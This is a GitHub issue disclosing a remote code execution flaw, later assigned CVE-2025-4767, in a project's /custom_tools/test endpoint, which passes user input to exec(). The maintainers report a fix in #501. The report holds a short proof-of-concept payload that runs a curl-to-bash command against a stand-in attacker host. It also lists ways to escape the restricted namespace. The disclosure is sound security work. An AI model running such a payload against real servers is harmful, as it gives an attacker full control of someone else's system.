Skip to content

Remote Code Execution (RCE) via Unsafe exec() in /custom_tools/test Endpoint Due to Arbitrary Code Injection in input_model Parameter #496

New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Closed
ybdesire opened this issue May 2, 2025 · 2 comments · Fixed by #501

Comments

@ybdesire
Copy link

ybdesire commented May 2, 2025

Description
The /custom_tools/test endpoint is vulnerable to Remote Code Execution (RWE) via unsafe code execution in the input_model parameter, despite attempts to restrict execution using a namespace. While the endpoint uses exec(request.input_model, namespace) with a limited namespace containing only BaseModel and Field, attackers can bypass these restrictions by injecting arbitrary Python code. The exec() function executes the entire input_model string in the provided namespace, but injected code can:

  1. Import unrestricted modules (e.g., os, subprocess),
  2. Invoke dangerous built-in functions (e.g., __import__),
  3. Execute system commands directly within the input_model payload.

This occurs because the exec() context allows imported modules or functions to escape the namespace’s intended constraints, enabling full control over the server’s environment.

exec(request.input_model, namespace)


Exploit
An attacker can craft an input_model payload that defines a seemingly valid Pydantic model while simultaneously injecting malicious code. For example:

class TestInput(BaseModel):  
    a: int = Field(...)  

# Malicious code bypassing namespace restrictions  
__import__("os").system("curl http://attacker.com/shell | bash")  

How it works:

  1. The exec() function executes the entire payload, including the __import__ line.
  2. The __import__("os") dynamically imports the os module outside the restricted namespace, granting access to system commands.
  3. The attacker’s command (curl | bash) is executed with the server’s privileges.

Bypassing Namespace Limitations:

  • Even though the namespace initially contains only BaseModel and Field, the exec() context allows attackers to:
    • Use __import__ or eval to load forbidden modules.
    • Chain multiple statements (e.g., ; or newlines) in the input_model string.
    • Embed code in comments or multi-line strings to evade superficial scrutiny.

Affected

code from

exec(request.input_model, namespace)

From v0.1.0 to v0.1.4

The latest main branch also has this vulnerability.

@abergmann
Copy link

CVE-2025-4767 was assigned to this issue.

@rishsriv
Copy link
Member

Thank you for reporting this critical vulnerability - much appreciated. Fixed in #501

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

Successfully merging a pull request may close this issue.

3 participants